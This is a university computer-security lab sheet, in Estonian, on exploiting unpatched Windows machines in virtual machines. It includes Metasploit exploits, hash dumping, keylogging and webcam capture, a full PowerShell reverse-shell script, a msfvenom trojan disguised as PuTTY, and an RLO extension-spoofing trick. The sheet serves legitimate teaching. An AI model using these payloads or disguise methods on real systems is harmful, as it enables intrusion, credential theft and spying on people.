Institute of Computer Science
  1. Courses
  2. 2024/25 spring
  3. Computer Security (LTAT.06.002)
ET
Log in

Computer Security 2024/25 spring

  • Pealeht
  • Loengud
  • Praktikumid
  • Referaat
  • Kirjandus
  • Lingid

Praktikum 13 - Turvaaukude ärakasutamine

Käesolevas praktikumis vaatleme lähemalt, kuidas ohuagent (ingl threat agent) on võimeline ohvri arvuti uuendamata tarkvara turvanõrkusi ära kasutama. Selleks kasutame Metasploit framework nimelist populaarset ründetarkvara koos Armitage kasutajaliidesega ning ohvriks eelnevatest praktikumidest tuttavat Windows XP SP3 virtuaalmasinat. Praktikumi teises pooles katsetame ka Tiny11 nimelist väiksema mahuga Windows 11 virtuaalmasinat ning pahavara koostamist.

Ettevalmistus

Kui teil on kõik eelnevad praktikumid edukalt sooritatud, siis kõvaketta ruumi kokkuhoiu huvides võite kustutada järgnevad virtuaalmasinad koos andmetega (kes seda veel teinud ei ole):

  • Linux Mint kloon
  • Windows 10
  • Windows XP

NB! Praktikum 15 vajame Linux Mint virtuaalmasinat ID kaarti tarkvara katsetamiseks, seega seda veel ärge kustutage.

Virtuaalmasinate seadistamine

Alustuseks kustutame teie arvutist eelnevad praeguseks mittevajalikud virtuaalmasinad ja laadime alla vajaliku virtuaalmasina tarkvara:

Käesolevas praktikumis soovitame kasutada 11. praktikumis alla laetud ja seadistatud KALI virtuaalmasinat. Kui teil see puudub siis paigaldage see:

  1. Minge leheküljele Kali pre-built VMS
  2. Laadige alla soovitatud VirtualBox-i kettapilt (ingl image file)
  3. Pakkige kali-linux-2025.1c-virtualbox-amd64.7z lahti
    • Soovitame lahtipakkimisel kasutada tarkvara 7-Zip2, mis on pakkimisel ja lahtipakkimisel efektiivsem ja kiirem kui Windowsi sisse-ehitatud pakkimistarkvara.
    • NB! 2025. aastal muutus ootamatult Kali Linux kali-archive-keyring, mistõttu ei saa varasematel kui 2025.1c versioonidel enam masinale automaatselt uuendusi teha sudo apt update käsuga. Praktikumi esimeses pooles vahetame selle turve-võtme ära.
  4. Seejärel võite paigaldada virtuaalmasina kali-linux-2025.1c-virtualbox-amd64.vbox definitsioonifailiga ehk käivitage .vbox fail topeltklõpsuga.
    • Kali virtuaalmasinale on soovitatav võimalusel anda ka 4GB RAM VirtualBox-i seadetest.

Praktikumi esimeses pooles kasutatava Windows XP SP3 masina paigaldus:

  • NB! Kindlasti kustutage eelmistest praktikumist olemasolev Andmeturve_XP.ova ja importige see uuesti. 9. praktikumis rikub üks kahjurvara Windowsi toimimist nii, et käesolevas praktikumis tekiksid teil probleemid vastava Windows_XP_SP3 masinaga. Kui teil on vaja OVA uuesti alla laadida, saate seda teha siin lingil:
  • https://owncloud.ut.ee/owncloud/index.php/s/CrtBMvRouATSgz8, kus allalaadimise parooliks sisestage aine kood LTAT.06.002.
  • Importige uuesti Andmeturve_XP_SP3.ova virtuaalmasin.

NB! Aeglasema internetiga lahendajatel on soovituslik panna taustal laadima ka praktikumi teises pooles kasutatav Tiny11 virtuaalmasin, mille OVA on 8 GB:

  • Allalaadimise link: https://owncloud.ut.ee/owncloud/s/njqxtpieM3dge77
  • Parooliks on ainekood (LTAT.06.002)

Metasploit ja Armitage

Käivitage Kali virtuaalmasin ja logige sinna sisse. Teil võiks töötada ka ekraani dünaamiline suurendamine ja teksti kopeerimine põhimasinast (Shared Clipboard). Järgnevate käskude esimese asjana laadime KALI virtuaalmasinasse uue repositooriumi turva-võtme, sest väidetavalt suutsid nad eelmise ära kaotada. Lisainfo https://www.kali.org/blog/new-kali-archive-signing-key/ . Edasi paigaldame vajaliku ründetarkvara ning käivitame selle.

Nüüd paigaldage ründamiseks vajalik tarkvara:

$ sudo wget https://archive.kali.org/archive-keyring.gpg -O /usr/share/keyrings/kali-archive-keyring.gpg
$ sudo apt update
$ sudo apt install kali-tools-exploitation
$ sudo apt install metasploit-framework
$ sudo systemctl start postgresql
$ sudo msfdb init
$ sudo armitage

Armitage käivitamise ajal vajutage Connect ja Yes (RPC Server) küsimustele. Nüüd peaks teil olema avatud Armitage kasutajaliides. Sulgege Armitage.

Kujutised 1 ja 2. Armitage käivitamise seaded.

Edukaks võrguründeks on meil vaja, et meie ohver ja ründaja saaksid omavahel suhelda. Selleks seadistame mõlemad virtuaalmasinad Kali Linux ja Windows XP kasutama bridged mode võrguühendust. Veendu, et mõlemad virtuaalmasinad on saanud endale uued IP-aadressid teie kodus või klassis kasutatavast alamvõrgus:

  • Linuxis näeb IP-aadressi ip a käsuga ja Windowsis cmd käsureal ipconfig sisestades.
  • Enamasti on IP-aadressid algusega 192.168 vms, 10.0.2.15 on NAT aadress ja ei ole sobiv.
  • Mõlema masina subnet mask pean olema sama (/24 = 255.255.255.0).
  • Vajadusel tehke virtuaalmasinale taaskäivitus, pärast mida on loodetavasti virtuaalmasinal siiski õige IP-aadress.

Ründevektorite avamine

Windows XP masinas tuleb lülitada tulemüür välja:

  1. Start
  2. Control Panel
  3. Vasakul Switch to Classic View
  4. Windows Firewall
  5. General
  6. Off (not recommended)

Samuti tuleb lubada kaugühendamine masinasse:

  1. Start
  2. Control Panel
  3. Network Connections
  4. Parem hiireklahv Local Area Connection
  5. Properties
  6. Lubage File and Printer Sharing for Microsoft Networks
  7. OK

Kujutis 3. Windows XP masinal failide ja printeri jagamise lubamine.

  1. Start
  2. Control Panel
  3. System
  4. Remote
  5. Lubage Allow users to connect remotely to this computer
  6. OK

Veendumaks, et meie Kali Linux saab ühendust Windows XP masinaga, sisestage: nmap -sV <XP-masina IP-aadress>. Väljundis peab kindlasti olema nähtav port 445/tcp open microsoft-ds. Kui ei ole, kontrollige eelnevaid tegevusi kuni on nähtav või võtke ühendust aine õppejõuga.

Kujutis 4. nmap käsuga avastatud ohvri avatud pordid.

Armitage

Nüüd on meil ohvriks olev Windows XP virtuaalmasin ja Kali Linux seadistatud omavahel suhtlema ning ohvri arvutis on vähendatud turvalisust, et ründed võimalikud oleksid.

Käivitame uuesti armitage tarkvara järgnevate käskudega:

$ sudo systemctl start postgresql
$ sudo armitage

NB! Kui teil eelmise käsu peale armitage ei käivitu siis on soovitatav kogu KALI virtuaalmasinale taaskäivitus teha ja uuesti proovida. Kali 2025 versioonis kahjuks armitage ei sulgu korralikult ja mingid teenused jäävad taustale ootele, mis takistavad programmi teist korda käivitamist.

Alustame rünnakut võrgus skännimisega (ohvri leidmisega).

  1. Armitage
  2. menüüst Hosts
  3. Nmap Scan
  4. Quick Scan (OS detect)
  5. Sisestage enda alamvõrgu IP-aadress
    • Vihje: kui teie IP-aadressi võrgumask (peale / tähemärki) on 24, siis alamvõrgu aadress on sisuliselt IP-aadressi kolm esimest oktetti ning neljas on 0. Näiteks 192.168.1.123/24 puhul on alamvõrgu aadress 192.168.1.0/24. Muude võrgumaskide puhul otsige vajadusel abi internetist.
  6. OK.

Oodake kuni 1 minut pärast mida peaks ohvri virtuaalmasin (ja mõned muud veel) nähtavale ilmuma.

NB! Armitage tarkvara on tasuta ja seega esineb seal mõningaid stabiilsuse probleeme ehk vahepeal tuleb mitu korda proovida, et käsud või tegevused normaalselt toimiks. Õppejõud otsivad lahendust ja annavad teada kui on rohkem infot. Sellest tulenevalt, kui kõik tegevused ei tööta, võib esitada ka pildid sellest, et proovisite, aga Armitage tarkvara ei õnnestunud tegevust toimima saada.


Kujutis 5. Armitage Quick Scan (OS detect) teekond.

Nüüd uurime ohvrit täpsemalt, tehes talle põhjaliku avatud portide otsimise:

Armitage -> rippmenüü Hosts -> Nmap Scan -> Intense Scan, no ping -> Sisestage Windows XP (ohvri) IP-aadress näiteks 192.168.1.175 -> OK -> jälgige all väljundit ja uurige mida tuvastati ohvri kohta. Kuigi meie näites on ka ohver meie kontrolli all, siis enamik päriselulistes rünnakutes ei ole ohvrist kuigi palju teada ja info kogumine ning kasutatava tarkvara tuvastamine on eelduseks hilisemaks edukaks ründeks.

Nüüd on meil teada ohvri arvuti IP-aadress, avatud TCP pordid 135, 139, 445 ja 3389 ning operatsioonisüsteem Windows XP SP3. Järgnevalt peame Interneti avarustest leidma sobiva exploit ehk haavatavuse ja lootma, et sellele on ka näidiskood kuidas rünnata. Näiteks Exploit Database nimeline leht võimaldab suhteliselt mugavalt filtreerida vastuseid meid huvitavate portide põhjal: https://www.exploit-db.com/?type=remote&platform=windows&port=445

Kujutis 6. Exploit Database port 445 kaugühendusega Windows masinate turvavead.

Nüüd peaksime hakkama vastuseid detailselt läbi analüüsima, kuid lihtsuse huvides annavad siinkohal õppejõud teile vihje, et MS08-067 ja MS17_010 on haavatavused, mis meile huvi pakuvad.

Järgnevalt proovimegi armitage tarkvaras vastavaid ründeid ära kasutada. Selleks kirjutage vasakul olevasse otsingu aknasse ms17 ja/või leidke nimekirjast exploit/windows/smb/ms17_010_psexec. Käivitamiseks võite lohistada vastava exploit sobiva arvuti peale armitage tarkvaras (või teha topeltklikk ning sisestada käsitsi õige RHOST IP-aadress). Nüüd vajutage Launch nuppu ja jälgige väljundit alumises mustas kastis. Eduka ründe korral muutub ohvri arvuti punaseks ning välgujoontega ümbritsetuks.

Kujutised 7 ja 8. Armitage ründe seaded ja väljund.

Palju õnne, olete edukalt ohvri arvutis. Järgnevalt vaatame, kuidas endale küsida täiendavaid õigusi (enamasti saate esialgu ligi tavaõigustega) ning mida muud huvitavat me ohvri arvutis teha saame. Nüüd minge ohvri arvuti peale ja tehke seal parem hiireklahv -> Meterpreter -> Access -> Escalate Priviledges, mille tulemusena avaneb vasakul nn local ehk kohalikud ründed õiguste suurendamiseks. Kuna meil on juba süsteemi õigused siis hetkel me õiguste omandamist täpsemalt ei vaata.

Järgnevalt vaatame, kuidas ligi pääseda kasutaja paroolidele. Selleks tehke parem hiireklahv ohvri arvutil -> Meterpreter -> Access -> Dump Hashes -> lsass method -> jälgi väljundit all aknas.

Uurige eelmise käsu väljundit ja eelnevate aines omandatud teadmiste (või interneti abiga) leidke väljundist, milline osa on kasutaja parooli räsi. Nüüd peame muutma parooli räsid inimloetavale kujule. Selleks tulevad meile appi veebilehed, mis võimaldavad levinud räsisid kontrollida nende andmebaasis olevate vastu ning kui ei leidu, siis väikese "tasu" eest need meile lahti murda. Meie parool on suhteliselt lihtne. Leidke https://crackstation.net/ lehte või mõnda sarnast kasutades, mis on Andmeturve Windows XP virtuaalmasina kasutaja Administrator parool?

13-1: Mis on Andmeturve Windows XP Administrator kasutaja parool? (mitte esitada parooli räsi ja mitte esitada LM puhul osaliselt sobivat Partial match vastust)

Järgnevalt vaatame, kuidas ligi pääseda kasutaja sisestatud klahvivajutustele (näiteks veebilehitsejas sisestatud paroolid). Selleks tehke parem hiireklahv ohvri arvutil -> Meterpreter -> Explore -> Log Keystrokes -> jälgi väljundit all aknas (jätke aken avatuks).

Nüüd minge Windows XP arvutisse ja külastage veebilehitsejaga aadressi https://andmeturve-lab.appspot.com/ ja sisestage väljadele oma Eesnimi, Perenimi ja sõnum. Vaata näidist allpool.

13-2: Esitage Kali Linux Armitage tarkvarast täisekraanivaade, kus on selgelt näha teie ohver (punane), Log Keystrokes edukas rünne ja teie Eesnimi ning Perenimi.

Kujutis 9. Armitage log keystrokes ründava masina väljund.

Tutvuge ka teiste valikutega, mida ohvri arvutiga teha saate. Mõned, mida õppejõud soovitavad kindlasti proovida:

  • Meterpreter -> Access -> Persist (järgmine kord paneb ennast ise tööle), Pass Session (pahalase seansi üle viimine teise protsessi peale, näiteks veebilehitsejast explorer.exe vms).
  • Meterpreter -> Explore -> Browse Files (võimaldab mugavalt faile vaadata), Show Processes (tutvu käimasolevate protsessidega (näiteks kui otsid võimalusi õiguste eskaleerimiseks), Screenshot (ekraanipilt), Webcam Shot (nö kahjunõude rünnak, ma tean küll mis sa seal arvuti ees teed)
  • Meterpreter -> Pivoting -> Setup (Võimaldab kasutada ohvrit nö lülina ahelas, et järgmiste ohvriteni pääseda. Kasutatakse palju veebiserveritest edasi sisevõrku pääsemiseks). Võimaldab teha nmap ja muid tegevusi pivot arvutist lähtuvalt.

Katkestame nüüd aktiivse meterpreter seansi ja katsetame veel mõnda teist rünnet.

  • parem hiireklahv ohvri arvutil -> Meterpreter -> Kill (katkestab aktiivse seansi ohvriga)

Katsetage nüüd ohvri peal uuesti rünnakut (tehke iseseisvalt, peaks õnnestuma rünnak):

ms08_067_netapi

Katkestame nüüd aktiivse meterpreter seansi ja katsetame mõnda teist rünnet veel.

  • parem hiireklahv ohvri arvutil -> Meterpreter -> Kill (katkestab aktiivse seansi ohvriga)

Testime, kas ohver on haavatav ja katsetame uuesti rünnakut:

auxiliary/scanner/rdp/cve_2019_0708_bluekeep
exploit/windows/rdp/cve_2019_0708_bluekeep_rce (Targets: 2 => Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VirtualBox 6)

Ei õnnestu ohvrit üle võtta. Nagu nimigi ütleb, sobib pigem Windows 7 ründamiseks, kuigi internetis on leitav modifikatsioon, mis väidetavalt suudab edukalt ka Windows XP rünnata, mis tegelikult on vastavale ründele ka haavatav. Ei hakka siinkohal katsetama.

Mitte kõik ründed ei võta ohvrit üle - näiteks järgmine rünnak võimaldab arvutile DOS (Denial Of Service), meie puhul restart teha:

auxiliary/dos/windows/rdp/ms12_020_maxchannelids

Peaks sundima Windows XP arvuti restarti. Seejärel sulgege Armitage tarkvara!

Kaasaegse Windowsi ründamine

Turvaaugud on tänapäeva keeruliste IT-süsteemide tavaline nähtus, mida leitakse pea igapäevaselt meie kasutatavas tarkvaras ja süsteemides. Paljud tavakasutajad ei märka neid auke kunagi, kuid tajuvad nende mõjusid pidevate turvauuenduste näol. Siinkohal tasubki vaadata, millised vead on leitavad kaasaegsemates (Windows) operatsioonisüsteemides ning mis on ajendiks igakuistele Windows masinate turvauuendustele.

Tiny11

Tiny11 on Windows 11 operatsioonisüsteemi modifitseeritud, kergem versioon, kust on eemaldatud suurem osa igapäevaste tegevuste mõttes ebavajalikud rakendused1. Läbi selle võtab Tiny11 vähem salvestusruumi ning teoorias võiks paraneda ka süsteemijõudlus madalama protsessoriaja ja muutmälu (ingl RAM) kasutuse tõttu. Samuti on boonusteks mõningate "uuenduste" puudumine nagu näiteks võimalus installimise ajal jätta Microsofti konto seadistamine vahele või TPM-i (Trusted Platform Module) nõuete puudumine, mille pärast paljud arvutid ei saa oma "vanaduse" tõttu Windows 11 operatisoonisüsteemi installida.


Introducing tiny11 core - Windows 11 on 3GB of free space

Sellegi poolest on sellistel kohandatud operatsioonisüsteemidel omad "aga"-d. Esiteks on tegemist kellegi kolmanda osapoole tehtud mitteametliku operatsioonisüsteemiga, mida Microsoft ise ei toeta. Seetõttu ei saa kindlalt väita, et tegemist on ohutu süsteemiga, kuna on olemas risk, et seal on peidetud pahavara. Teiseks ei saa selline masin korralikult Microsofti poolt välja lastud uuendusi, vaid uuendama peaks jällegi läbi kolmanda osapoole, mis ei garanteeri korrektseid turvauuendusi ning uuendamise protsess ei pruugi olla nii intuitiivne kui tavalise operatsioonisüsteemi puhul. Kolmandaks on kohandatud operatsioonisüsteemid tihtipeale ebastabiilsemad ja ei pruugi seetõttu anda erilist jõudluse parendamise efekti nagu see teoorias teha võiks. Kõikide nende kulisside taga peituvate probleemide tõttu leiab Interneti foorumitest omajagu inimesi, kes on siiski muutnud peale selliste operatsioonisüsteemide kasutamist meelt ja läinud tagasi originaalsetele süsteemidele2.

Käesoleva praktikumi raames on hea kasutada Tiny11 masinat tavalise Windows 11 asemel, kuna see võtab vähem salvestusruumi ja uuenduste puudumise tõttu on seal rohkem turvaauke, mida praktikumi raames ära kasutada. Siiski paneme südamele, et oma enda ohutuse mõttes ärge sisestage sellistesse kohandatud masinatesse delikaatset infot nagu näiteks paroolid või isikuandmed. Samuti ei soovita aine õppejõud oma igapäevaseadmetesse eba-ametlikke operatsioonisüsteeme paigaldada ning loodetavasti saate ka praktikumi läbimise käigus ise aru, miks ei ole need just kõige turvalisemad.


1 Tiny11. https://archive.org/details/tiny-11-NTDEV
2 Anyone using Tiny11 (23/11) as everyday OS? https://www.reddit.com/r/Windows11/comments/1aimypa/anyone_using_tiny11_2311_as_everyday_os/

Laadige alla meie eelseadistatud Tiny11 ova fail ning importige see enda VirtualBox'i:

  • Allalaadimise link: https://owncloud.ut.ee/owncloud/s/njqxtpieM3dge77
  • Parooliks on ainekood (LTAT.06.002)

Masina eelseadistatud kasutaja parool:

  • isherenow

Kui olete masinasse sisse saanud, siis tutvuge esmalt puhta masinaga ning vaadake, mis muudatusi te sealt leiate. Võrrelge Task Manageri abil ka seadme jõudluse kasutust oma enda seadmega. Kas leiate nii häid kui halbu külgi?

Defenderi erandid

Tiny11 masinas tuleks :

  • Esmalt paigaldada Virtualbox Guest Additions ja teha kasutajaliidesest viisakas restart.
  • Edasi lisame mõned erandid, et antiviirus ei hakkaks meid liialt segama.
  1. Settings
  2. Privacy & security
  3. System and Security
  4. Windows Security
  5. Open Windows Security
  6. Virus & threat protection
  7. Virus & threat protection settings all Manage settings
  8. Exclusions all Add or remove exclusions
  9. Yes
  10. Nüüd lisage Desktop, Downloads ja Documents kaustad erandite alla.
    1. Add an exclusion
    2. Folder
    3. Korrake vajadusel tegevust.

NB! Praktikumi jooksul peaksite kõik koodide ja programmide käivitamised tegema just äsja seatud erandiga kaustas. Selle abil saate vältida potentsiaalseid probleeme, kus Windows Defender pahavara tegevuse peatab ning programmid/koodid ära kustutab. Windows Defender ei pruugi kõiki ülesannete näiteid avastada, kuid sellega saame potentsiaalseid probleeme ennetada.

Reverse Shell

Reverse shell ehk vastukest on rünne, mille käigus luuake ühendus ohvri arvutist ründaja arvutiga nii, et ründaja saaks ligipääsu ohvri seadme käsureale. Nii saab ründaja käivitada käsurealt ohvri arvutis käske, skripte ning nuhkida seadmes peituvaid andmeid. Järgnevalt vaatamegi kuidas üht lihtsamat sellist ühendust luua.

Järgnevate harjutuste korral kasutame taaskord varasematest praktikumidest tuttavat ohvri ja ründaja analoogia:

  • Ohver - Tiny 11 Windows masin.
  • Ründaja - Kali Linux masin.

Soovi korral on võimalik sama harjutust läbida ka video abil, kust ründe kood pärineb:

  • Hacking windows 11 with Powershell. https://youtu.be/UeBvI278Na8?si=POmU0ct9yjRfC6Tt

Ohver

Avage Tiny11 virtuaalmasinas Notepad ning kopeerige sinna sisse järgnev sisu:

 $ip = "AAA.BBB.CCC.DDD"
 $port = 20XXX

 # Create a TCP client and connect it to the remote host
 $client = New-Object System.Net.Sockets.TCPClient $ip, $port
 $stream = $client.GetStream()
 [byte[]]$bytes = 0..65535|%{0}

 # To receive data
 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
     $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
     $sendback = (Invoke-Expression $data 2>&1 | Out-String)
     $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
     $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
     $stream.Write($sendbyte, 0, $sendbyte.Length)
     $stream.Flush()
 }

Andke muutujatele väärtused:

  • $ip = Ründava masina IPv4 aadress
  • $port = pordinumber, kus XXX on teie matriklinumbri kolm viimast numbrit

Nüüd valige Save as ning salvestage skript pannes talle nimeks enda perenime ja laiendiks .ps1 (näiteks peets.ps1).

Ründaja

Seejärel paneme ründava masina ühenduse ootele. Sisestage terminalis järgnev käsk, kus muutke pordinumber samaks, mis ohvrimasina skriptis:

$ nc -vv -l -p 20XXX

Peaks ilmuma kiri, et ründaja kuulab ühendusi valitud pordil. Nüüd jääb üle vaid oodata, mil ohver pahatahtliku skripti käivitab.

Ohver

Avage administraatori õigustega PowerShell kaustas, kus te eelnevalt skripti salvestasite. Et te saaksite selliseid skripte üldse käivitada, tuleks enne anda vastav luba:

Set-ExecutionPolicy Bypass -Scope CurrentUser

Valige Yes ehk Y

Nüüd käivitage skript ning jälgige samaaegselt ründaja masinas pealtkuulava terminali väljundeid:

.\perenimi.ps1

Ründaja

Eelneva skripti käivitamise tulemusena peaksite olema ühendatud ohvri masinaga. Vajutage terminalis ühe korra Enter nuppu. Nüüd peaksite nägema Windows Powershelli käsurida samas kaustas, kus ohver skripti käivitas.

Kontrollige enda kasutajat:

whoami
ls
ipconfig
  • 13-3: Esitage ekraanipilt, kus on KALI virtuaalmasinas näha ründekäsk (nc -vv -l -p 20XXX), whoami, ls (peab sisaldama perenimi.ps1 faili) ning ipconfig. Kui kõik ühele pildile ei mahu esitage mitu pilti.

Kujutis 10. Kali Linux masin kontrollib reverse shell abil Windows masina käsurida.

Proovige peale ekraanipildi tegemist käsurea käskude abil ohvri masinas ringi liikuda. Proovige ka mingeid lihtsamaid käske jooksutada.

Pahalase loomine

Eelnevalt katsetasime ohvri masina käsurea üle võtmist ilmselgelt pahatahtliku koodi käivitamisega. Üldjuhul peidetakse taolised koodid aga mingi muu tarkvara või programmi sisse ära nii, et ohver selle teadmatult käivitaks. Järgnevas harjutuses me täpselt seda katsetamegi.

Ründaja/KALI

Laadige endale alla PuTTY:

$ wget https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe

Looge endale pahalane ning maskeerige see PuTTY tarkvaraks.

  • NB! Asendage käsul <kali_linux_ip> enda Kali IP-aadressiga ning pordi numbri puhul asendage 20XXX kolm X-i enda matriklinumbri kolme viimase numbriga.
$ msfvenom -p windows/meterpreter/reverse_http LHOST=<kali_linux_ip> LPORT=20XXX -f exe -x putty.exe -k -o putty-fixed.exe

Nüüd on meil loodud troojalane, mis käivitamisel võtab ühendust ründaja masinaga ehk helistab koju. Käesolevas näites lõime .exe faili, kuid sarnaseid näiteid on ka PDF, DOC ja teiste levinud failitüüpide korral, kus iga üks ründab nõrkusi oma vastavas tarkvaras. Et hiljem testida faili peitmist näiliselt teise faililaiendi taha, siis loome ka ühe pahalase lisaks, kuid ärge seda praegu veel peida:

$ msfvenom -p windows/meterpreter/reverse_http LHOST=<kali_linux_ip> LPORT=20XXX -f exe -o ps.exe

Küll aga ei saa loodud pahalased enne käivitamist midagi ohrvi seadmes teha. Seega oleks see pahalane vaja kuidagi ohvrini toimetada ning kas need ise käivitada või oodata kuni heausklik ohver kummagi mingi hetk iseseisvalt käivitab.

Pahalaste transportimiseks on mitmeid erinevaid variante. Sagedasemad on näiteks meiliga, salapärase mälupulgaga, manusena internetis jms. Lihtsuse huvides saadame antud näites pahatahtliku tarkvara otse ohvri arvutisse tema enda loal.

Lubage esmalt Kali Linux masinas SSH ühendus:

$ sudo service ssh start
$ service ssh status

Ohver

  1. Paigaldage Windows masinasse tarkvara Bitvise järgnevalt lingilt:
    • https://www.bitvise.com/ssh-client-download
  2. Käivitage Bitvise
  3. Sisestage järgnevad andmed:
    • Host: ründaja IP-aadress
    • Port: SSH port 22
    • Username: Kali
  4. Log in
  5. Accept for This Connection
  6. Sisestage Kali masina parool
  7. Eduka ühenduse korral valige New SFTP window
  8. Kopeerige Kali masinast Windows masinasse enda loodud pahalased:
    • ps.exe
    • putty-fixed.exe
  9. Seejärel Log out

Ründaja

Avage Metasploiti konsooli ja käivitage listeneri "kuulama" ühendust meie pahalasest:

$ msfconsole

Avaneb Metasploit turbetarkvara käsurida msf6 kirjega. Sisestage sinna järgnevad käsud:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_http
set LPORT 20XXX
set LHOST <kali_linux_ip>
show options
exploit

NB! Kui teil tuleb error The address is already in use or unavailable, siis leidke porti kasutav protsess sudo netstat -tulnp käsuga ning "tapke" see käsuga kill.

Nüüd ootab listener sissetulevaid ühendusi, mis me oleme pahalase programmis sisse seadnud. Nüüd jääb ründajal üle vaid oodata, kuni ohver pahalase käivitab.

NB! Hoidke Kali masin ja sealt HTTP reverse handleri konsool ekraanil avatuna samal ajal kui järgnevaid samme teete. Siis näete mis hetkel ohvri masinast ühendus ründajani jõuab.

Ohver

Üldjuhul peaks nüüd ründaja veenma ohvrit kuidagi pahatahtlikku tarkvara võimalikult kiiresti avama või jääma "kuulama", kuni kasutaja selle üks hetk käivitab. Lihtsuse huvides jätame selle protsessi praegu vahele ja käivitage putty-fixed.exe. Ohvri vaatest ei ole otseselt midagi kahtlast juhtunud - vahel laeb pahalasega programm tööle tavapärasest natuke kauem, kuid üldjuhul ei arva ohver sellest suurt midagi. Ohver saab nüüd täiesti töökorras PuTTy tarkvara kasutada. Seniks aga käib tagataustal midagi enamat.

Ründaja

Nüüd peaksite nägema, et olete loonud ühenduse ohvri masinaga ning käsureal peaks olema meterpreter >. Alustuseks uurime, mis on ohvri arvuti põhilised tehnilised andmed:

sysinfo

Uurige Windows 11 Build versiooni abil, kas tegemist on uuendatud masinaga või vanemaga. Selgitage välja ka masina versioon. Neid andmeid teades saame otsida, mis ajast alates pole potentsiaalseid turvanõrkuseid turvauuendustega parandatud. Kasutame järgmiste rünnete puhul neid teadmisi ära.

Uurige mis võimalused ründajal veel on:

help

NB! Ärge veel iseseisvalt erinevaid help käsu väljundis pakutud võimalusi katsetage. Mõne puhul võib Windows masin tuvastada kahtlase tegevuse ning Defender võib vaatamata varasemate erandite seadmisele need siiski ära keelata ja pahavara eemaldada. Peale vastavate ülesannete lahendamist on juhendis märge, millal võib erinevaid võimalusi katsetama hakata huvi korral.

  • Proovige järgmisi käske: ls, pwd, sysinfo, getuid, getpid, ps, edit perenimi.txt.
    • Vajutage vim editoris i ja kirjutage esimesele reale enda nimi ning väljumiseks ESC klahvi ning :wq.
    • Veenduge Tiny11 masinas, et Desktopile tekkis teienimeline fail.
  • uictl disable all. Nüüd proovige Tiny11 arvutis hiirega aknaid liigutada või klaviatuurivajutusi sisestada.
    • Ei tohiks töötada, sarnaselt lülitavad pahalased korraks teie hiire välja tekitades tunde et arvuti jooksis kokku ning samal ajal teevad nemad mingi pahateo ning annavad hetkepärast ekraani, hiire, klaviatuuri jne tagasi käsuga uictl enable all.
  • Vaatame visuaalselt, mis teises arvutis toimub käskudega screenshot ja screenshare, lõpetamiseks CTRL+C
  • 13-4: Esitage Kali Linux metasploit tarkvara poolt avatud firefox veebilehitseja screenshare, kus on näha Tiny11 arvutis avatud Command Promptis ipconfig käsu väljund ja seal NAT IP aadress 10.0.2.15. Samuti peab avatud olema teie perenimi.txt fail ja seal sees teie nimi.

Kujutis 11. Ohvri masina ekraanipilt ründavas masinas.

NB! Järgnevalt lülitame ründe efektsuse demonstreerimiseks sisse ohvri masinal veebikaamera. Tegevus ei ole kohustuslik kui te seda teha ei soovi või ei saa.

Lubage ohvri masinast võimaluse korral veebikaamera Devices -> Webcams -> tehke linnuke oma veebikaamera peal. Kontrollige analoogselt, et ründaja masinast ei oleks veebikaamera kasutamine lubatud.

Proovige meterpreter ühendusega järgmisi käske:

webcam_list
webcam_snap
webcam_stream

Peaksite saama nüüd "ohvrit" nende endi veebikaameraga jälgida. Ohvrile reedab teie tegevuse heal juhul see, et nende kaameral hakkab riistvarapõhine tuluke põlema, kuid leidub seni veel ka arvuteid või veebikaameraid, millel ei ole sisse-ehitatud tulukest. Sellisel juhul pole ohvril aimugi, et teda ta enda kodus, kontoris või mujal parasjagu jälgitakse. Lisaks on veel võimalus kuulata ohvrit läbi mikri pealt, kuid antud võimalus ei pruugi kõige stabiilsemalt töötada.

NB! Seejärel andke ründavas masinas Metasploit käsureal käsk quit, et töötav ühendus järgmise ülesande jooksul segama ei hakkaks.

Pahavara pildifailiks maskeerimine

Nüüd vaatame kuidas on taolist pahavara võimalik veel peita. Selleks muudame faililaiendi näiliselt png-ks, kuid sisuliselt on pahavara ikkagi exe, mis käivitamisel võtab ründaja masinaga ühendust.

NB! Kui teil pole programmide faililaiendeid näha, siis tehke need esmalt nähtavaks:

  1. Minge File Exploreris kausta, kus teil ps.exe paikneb
  2. View
  3. Show
  4. File name extensions

Nüüd on selgelt näha, et ps.exe on executable programm, kuid teeme seda vähem ilmselgeks. Muutke ps.exe nimi ära järgnevalt:

  1. Kustutage esmalt faililaiend .exe ära, kuid ärge salvestage
  2. Nüüd avage menüü hiire paremklahviga nime muutmise lahtril
  3. Liikuge valikule Insert Unicode control character
  4. Avanenud aknas valige RLO ehk right-to-left override
  5. Seejärel lisage nimele gnp.exe
    • Lõplik tulemus peaks välja nägema nagu psexe.png

RLO on unicode tähemärk, mis sisuliselt keerab teksti graafilises liideses peegelpilti. Kuigi näeb välja nagu oleks tegemist .png failiga, siis on see siiski veel töötav .exe programm. Proovime seda veelgi varjata.

  1. Looge psexe.png failile shortcut
    • Parema klahviga failil menüüd avades valige Show more options ning seejärel Create shortcut
  2. Muutke shorcuti nimi eelneva meetodi abil jällegi näiliselt psexe.png-ks.
  3. Avage shortcuti atribuudid (ingl properties)
  4. Muutke faili ikoon ära võimalikult pildifaili taoliseks
    • Shorcut vahelehel nupp Change Icon...

Nüüd näeb shortcut välja nagu see oleks lihtsalt tavaline pildifail, kuid tegelikkuses avab see meie varasemalt loodud pahalase, mis "helistab" ründajale. Samal ajal võiks tegelik pahavara olla kusagil sügavamal süsteemis peidus, kus seda ohver ei leiaks. Antud juhul kasutame shortcuti nimena psexe, kuna see on lühike ja ei lähe graafilises kasutajaliideses pikkuse tõttu peitu. Tegelikkuses võiks faili nimi olla midagi pildifailile kohasemat, et vähendada kahtluste tekkimise riski.

Katsetage äsja loodud valeliku pildifaili toimimist iseseisvalt. Sisuliselt võib eelneva ülesande samme korrata.


Kujutis 12. Valeliku faililaiendi ja ikooniga pahavara.

Kui olete edukalt eelnevate harjutuste ekraanipildid ära teinud, siis võite proovida Metasploiti erinevaid võimalusi, mida help käsk pakkus. Mõningate käskude puhul võib Windows Defender tegevuse kahtlaseks lugeda ning võib pahavara nn musta nimekirja panna ja keelata selle uuesti käivitamist.

Viirusetõrjete analüüs

